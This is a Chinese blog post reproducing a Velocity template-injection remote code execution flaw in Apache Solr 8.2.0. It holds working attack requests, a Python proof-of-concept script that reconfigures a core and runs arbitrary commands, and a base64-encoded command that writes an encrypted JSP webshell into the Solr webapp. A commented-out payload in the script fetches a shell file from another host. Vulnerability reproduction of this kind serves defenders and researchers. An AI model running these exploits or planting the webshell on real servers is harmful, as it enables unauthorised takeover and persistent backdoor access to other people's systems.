• Solr 8.2.0最新RCE漏洞复现


    漏洞描述

    国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr.

    漏洞编号

    影响范围

    包括但不限于8.2.0(20191031最新版本)

    漏洞复现

    下载
    https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
    解压进入solr-8.2.0/bin目录安装

    ./solr -e dih -force //开启示例app
    

    访问主页面http://127.0.0.1:8983/solr/#/

    点击左侧Core Selector 查看集合名称,(此漏洞利用需要有一个集合)
    以集合mail为例
    1.修改集合设置

    POST /solr/mail/config HTTP/1.1
    Host: 192.168.30.100:8983
    Pragma: no-cache
    Cache-Control: no-cache
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: application/json, text/plain, */*
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
    Connection: close
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    2.命令执行(命令在exec('id')位置)

    GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: 192.168.30.100:8983
    Content-Length: 309
    
    Cache-Control: no-cache
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
    Connection: close
    

    后记

    实现上传shell,主要是学习java shell。Python POC如下

    import requests
    import json
    import sys
    
    name = ""
    
    # 获取core_name
    def getname(url):
        url = url +  "/solr/admin/cores?wt=json&indexInfo=false"
        conn = requests.request("GET", url=url)
        name = "test"
        try:
            name = list(json.loads(conn.text)["status"])[1]
            # print(name)
        except:
            pass
        return name
    
    # 上传修改配置文件
    def Modifyconf(url,name):
        proxy = '127.0.0.1:8080'
        proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
        url = url + "/solr/" + name + "/config"
        #print(url)
        headers = {'Content-Type': 'application/json'}
        postDataIner = {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
        postData = {"update-queryresponsewriter": postDataIner}
        conn = requests.post(url=url, json = postData,proxies=proxies,headers=headers)
        if conn.status_code != 200:
            print("upconf failed",conn.status_code)
            sys.exit(1)
    
    def poc(url,cmd):
        # 本地调试代理
        proxy = '127.0.0.1:8080'
        proxies = {'http':'http://'+proxy,'https':'https://'+proxy}
        # 目标IP
        #url = "http://192.168.30.100:8983"
        # 命令
        #cmd = "bash -c {echo,d2dldCBodHRwOi8vMTkyLjE2OC4zMC4xMzEvc2hlbGwuanNwCg==}|{base64,-d}|{bash,-i}"
        name = getname(url)
        Modifyconf(url,name)
        url = url +"/solr/"+name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
        conn = requests.request("GET",url,proxies=proxies)
        print("response:"+conn.text)
        # print(url)
        # print(cmd)
    if __name__ == '__main__':
        url = sys.argv[1] 
        cmd = sys.argv[2]
        poc(url,cmd)
    
    

    需要输入的是url,和 命令,如

    SolrRCE.py "http://192.168.30.100:8983" "ip a"
    

    但是有些含有|> 特殊字符的复杂命令不能直接写,由于Runtime.getRuntime().exec() 自己的限制。
    比如你要写入冰蝎的一句话,经过各方资料参考,可以是下面这种形式。

    sh -c $@ | sh . echo `echo  '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>' > solr-webapp/webapp/shell.jsp`
    

    但是由于grtRuntime().exec()的限制,我们需要进行如下的编码,把上面的命令base64编码,以下面的形式传入。

    bash -c {echo,c2ggLWMgJEAgfCBzaCAuIGVjaG8gYGVjaG8gICc8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInBhc3MiKSE9bnVsbCl7U3RyaW5nIGs9KCIiK1VVSUQucmFuZG9tVVVJRCgpKS5yZXBsYWNlKCItIiwiIikuc3Vic3RyaW5nKDE2KTtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtvdXQucHJpbnQoayk7cmV0dXJuO31DaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKChzZXNzaW9uLmdldFZhbHVlKCJ1IikrIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTslPicgPiBzb2xyLXdlYmFwcC93ZWJhcHAvYmVkLmpzcGA=}|{base64,-d}|{bash,-i}
    

    即这种形式

    SolrRCE.py "http://192.168.30.100:8983" "bash -c {echo,c2ggLWMgJEAgfCBzaCAuIGVjaG8gYGVjaG8gICc8JUBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIlPjwlIWNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX0lPjwlaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInBhc3MiKSE9bnVsbCl7U3RyaW5nIGs9KCIiK1VVSUQucmFuZG9tVVVJRCgpKS5yZXBsYWNlKCItIiwiIikuc3Vic3RyaW5nKDE2KTtzZXNzaW9uLnB1dFZhbHVlKCJ1IixrKTtvdXQucHJpbnQoayk7cmV0dXJuO31DaXBoZXIgYz1DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpO2MuaW5pdCgyLG5ldyBTZWNyZXRLZXlTcGVjKChzZXNzaW9uLmdldFZhbHVlKCJ1IikrIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTslPicgPiBzb2xyLXdlYmFwcC93ZWJhcHAvYmVkLmpzcGA=}|{base64,-d}|{bash,-i}"
    

    参考

    https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
    及其他预警平台
    在线编码网站

  • 相关阅读:
    使用JDBC连接MySql时出现:The server time zone value '�й���׼ʱ��' is unrecognized or represents more than one time zone. You must configure either the server or JDBC driver (via the serverTimezone configuration
    Mysql Lost connection to MySQL server at ‘reading initial communication packet', system error: 0
    mysql-基本命令
    C# 监听值的变化
    DataGrid样式
    C# 获取当前日期时间
    C# 中生成随机数
    递归和迭代
    PHP 时间转几分几秒
    PHP 根据整数ID,生成唯一字符串
  • 原文地址:https://www.cnblogs.com/Rightsec/p/11772098.html
Copyright © 2020-2023  润新知